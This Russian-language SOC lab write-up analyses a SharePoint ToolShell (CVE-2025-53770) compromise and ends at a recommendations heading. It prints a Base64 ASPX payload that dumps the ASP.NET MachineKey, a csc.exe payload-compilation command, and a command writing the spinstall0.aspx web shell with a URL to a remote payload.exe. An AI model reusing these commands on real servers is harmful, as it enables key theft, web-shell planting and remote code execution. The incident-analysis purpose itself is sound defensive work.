
Подробный разбор эксплуатации уязвимости нулевого дня CVE-2025-53770 (ToolShell) в SharePoint, включая анализ RCE, эксфильтрацию MachineKey, компиляцию полезной нагрузки, развертывание веб-шелла и шаги по сдерживанию инцидента при реагировании на него.
Я изучил zero-day уязвимость SharePoint под названием ToolShell (CVE-2025-53770) в лаборатории LetsDefend. Я воспроизвёл реальную zero-day атаку, в ходе которой вредоносный POST-запрос обошёл аутентификацию, запустил PowerShell для кражи ключей MachineKeySection, скомпилировал payload.exe и разместил веб-шелл (spinstall0.aspx). Я зафиксировал все действия, проанализировал поведение и изолировал хост. Этот README описывает процессы атаки, шаги по её нейтрализации и извлечённые уроки.
Это критическое оповещение и подозрительная активность, нацеленная на ToolPane.aspx в MS SharePoint: большая полезная нагрузка и подделанный Referer. Контекст CVE связан с CVE-2025-53770. Это критическая уязвимость SharePoint, эксплуатируемая через специально сформированный POST-запрос, который позволял атакующим без аутентификации. Успешная эксплуатация привела к удалённому выполнению кода (RCE) на сервере. Я рассматривал это как активную угрозу высокой срочности и исходил из возможной успешной компрометации, пока не доказано обратное.
Microsoft SharePoint — это платформа для корпоративной совместной работы и управления документами: по сути, защищённый и организованный центр для файлов, рабочих процессов и внутренних веб-приложений.
Критическая zero-day уязвимость в Microsoft SharePoint Server, позволяющая атакующим удалённо выполнять код без аутентификации. Она использует небезопасную десериализацию и часто комбинируется с другими уязвимостями SharePoint (CVE-2025-49704, CVE-2025-49706) для полного захвата системы. Оценена в 9.8 по CVSS (Critical) и активно эксплуатируется в дикой природе.
Я проанализировал IP-адрес отправителя (исходный IP-адрес) с помощью VirusTotal.
Исходный IP-адрес: 107.191.58.76

Из этого видно, что 15/95 поставщиков безопасности пометили этот IP-адрес как вредоносный, что уже многое говорит об этом IP.
Теперь мне нужно определить местоположение IP. Это было сделано с помощью AbuseIPDB, и, как показано ниже, IP известен взломами, брутфорсом, атаками на веб-приложения, сканированием портов и отравлением DNS.

Как SOC-аналитик, решающий эту задачу, я понимал, что одним из важных шагов является анализ конечной точки. Я выполнил поиск хоста в Endpoint Security по имени «SharePoint01» и, поскольку этот IP известен взломами, продолжил дальнейший анализ.

После обнаружения хоста я открыл историю терминала, чтобы проверить командную строку.

PCVAIEltcG9ydCBOYW1lc3BhY2U9IlN5c3RlbS5EaWFnbm9zdGljcyIgJT4NCjwlQCBJbXBvcnQgTmFtZXNwYWNlPSJTeXN0ZW0uSU8iICU+DQo8c2NyaXB0IHJ1bmF0PSJzZXJ2ZXIiIGxhbmd1YWdlPSJjIyIgQ09ERVBBR0U9IjY1MDAxIj4NCiAgICBwdWJsaWMgdm9pZCBQYWdlX2xvYWQoKQ0KICAgIHsNCgkJdmFyIHN5ID0gU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHkuTG9hZCgiU3lzdGVtLldlYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EiKTsNCiAgICAgICAgdmFyIG1rdCA9IHN5LkdldFR5cGUoIlN5c3RlbS5XZWIuQ29uZmlndXJhdGlvbi5NYWNoaW5lS2V5U2VjdGlvbiIpOw0KICAgICAgICB2YXIgZ2FjID0gbWt0LkdldE1ldGhvZCgiR2V0QXBwbGljYXRpb25Db25maWciLCBTeXN0ZW0uUmVmbGVjdGlvbi5CaW5kaW5nRmxhZ3MuU3RhdGljIHwgU3lzdGVtLlJlZmxlY3Rpb24uQmluZGluZ0ZsYWdzLk5vblB1YmxpYyk7DQogICAgICAgIHZhciBjZyA9IChTeXN0ZW0uV2ViLkNvbmZpZ3VyYXRpb24uTWFjaGluZUtleVNlY3Rpb24pZ2FjLkludm9rZShudWxsLCBuZXcgb2JqZWN0WzBdKTsNCiAgICAgICAgUmVzcG9uc2UuV3JpdGUoY2cuVmFsaWRhdGlvbktleSsifCIrY2cuVmFsaWRhdGlvbisifCIrY2cuRGVjcnlwdGlvbktleSsifCIrY2cuRGVjcnlwdGlvbisifCIrY2cuQ29tcGF0aWJpbGl0eU1vZGUpOw0KICAgIH0NCjwvc2NyaXB0Pg==
Учитывая наличие полезной нагрузки, я обратился к декодеру Base64, чтобы декодировать команду, как показано ниже.

Пользователь запустил powershell из системного каталога "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" и с помощью закодированных команд — серверный C#-скрипт ASP.NET.
Полезная нагрузка пытается прочитать и раскрыть ASP.NET MachineKey хоста — секрет, который можно использовать для подделки токенов ViewState/десериализации и обеспечения обхода аутентификации и удалённого выполнения кода. Это соответствует паттерну эксплуатации ToolShell (злоупотребление MachineKey).
Ключевые индикаторы компрометации (IoC) в команде, выявленные с помощью декодирования и кодирования Base64.
Атакующий попытался получить доступ к приватной конфигурации и нацелился на эксплуатацию, злоупотребляя .NET. Из декодера Base64 видны System.Web.Configuration.MachineKeySection и GetApplicationConfig: MachineKeySection содержит:
Эти ключи — секреты, используемые для защиты viewstate и проверки подлинности форм (forms authentication). Их получение — это прямая попытка заполучить материал, позволяющий подделывать/проверять сериализованные ASP.NET-полезные нагрузки → прямое предусловие для RCE на основе десериализации.
Всего через ТРИ секунды после показанного выше атакующий отправил ещё одну команду.

"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /out:C:\Windows\Temp\payload.exe C:\Windows\Temp\payload.cs.
Всего через ДВЕ секунды после показанного выше атакующий отправил ещё одну команду.

"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /out:C:\Windows\Temp\payload.exe C:\Windows\Temp\payload.cs."C:\Windows\System32\cmd.exe" /c echo <form runat="server"> <object classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11"><param name="Command" value="Redirect"> <param name="Button" value="Test"> <param name="Url" value="http://107.191.58.76/payload.exe\"> > C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx.
Всего через ПЯТЬ секунд после показанного выше атакующий отправил ещё одну команду.
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command"[System.Web.Configuration.MachineKeySection]::GetApplicationConfig()"
Эта активность демонстрирует последовательный паттерн, поэтому я рассматриваю её как компрометацию с высокой степенью уверенности и немедленно собираю криминалистические артефакты.
После сбора всех команд и результатов анализа я провёл дополнительное исследование в threat intel и выполнил поиск по типу данных IP. Источник данных показывает OnlyHunt и тег CVE-2025-53770, а Referer: /_layouts/SignOut.aspx в канале расследования оповещений показывает, что это легитимный SharePoint, который был подделан или использован, после чего из SharePoint выполнили выход, чтобы создать видимость, будто действие исходит из обычного SharePoint. На этом этапе я изолировал хост.
Дата/Время: 2025-07-2213:07 (событие) Аналитик: [Ваше имя] CaseID: SOC342 Хост: SharePoint01 Серьёзность: критическая
Я обнаружил попытку эксплуатации критической zero-day уязвимости под названием ToolShell (CVE-2025-53770) 2025-07-22 в 13:07 на локальном (on-premises) сервере SharePoint с именем хоста SharePoint01. Атакующий, действуя с известного вредоносного IP (107.191.58.76), который является источником POST-запросов и хостом полезной нагрузки, обошёл аутентификацию, чтобы выполнить удалённый код на сервере. Атакующий загрузил/создал spinstall0.aspx в каталоге LAYOUTS SharePoint и выполнил PowerShell для чтения материала MachineKey ASP.NET, а также скомпилировал C#-полезную нагрузку через csc.exe. Это позволило ему создавать доверенные (trusted) полезные нагрузки. Эта деятельность согласуется с развёртыванием веб-шелла spinstall0.aspx в SharePoint, эксфильтрацией MachineKey и компиляцией полезной нагрузки на хосте — всё это индикаторы компрометации с высокой степенью уверенности.
После обнаружения компрометации я рекомендовал в аналитической заметке предпринять следующие шаги: